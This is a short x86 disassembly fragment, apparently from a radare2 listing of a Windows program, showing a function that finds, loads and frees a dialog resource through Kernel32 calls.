cmp dword [edi + 0x54], 0
jne 0x4383c3
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00433d50
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00438360
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8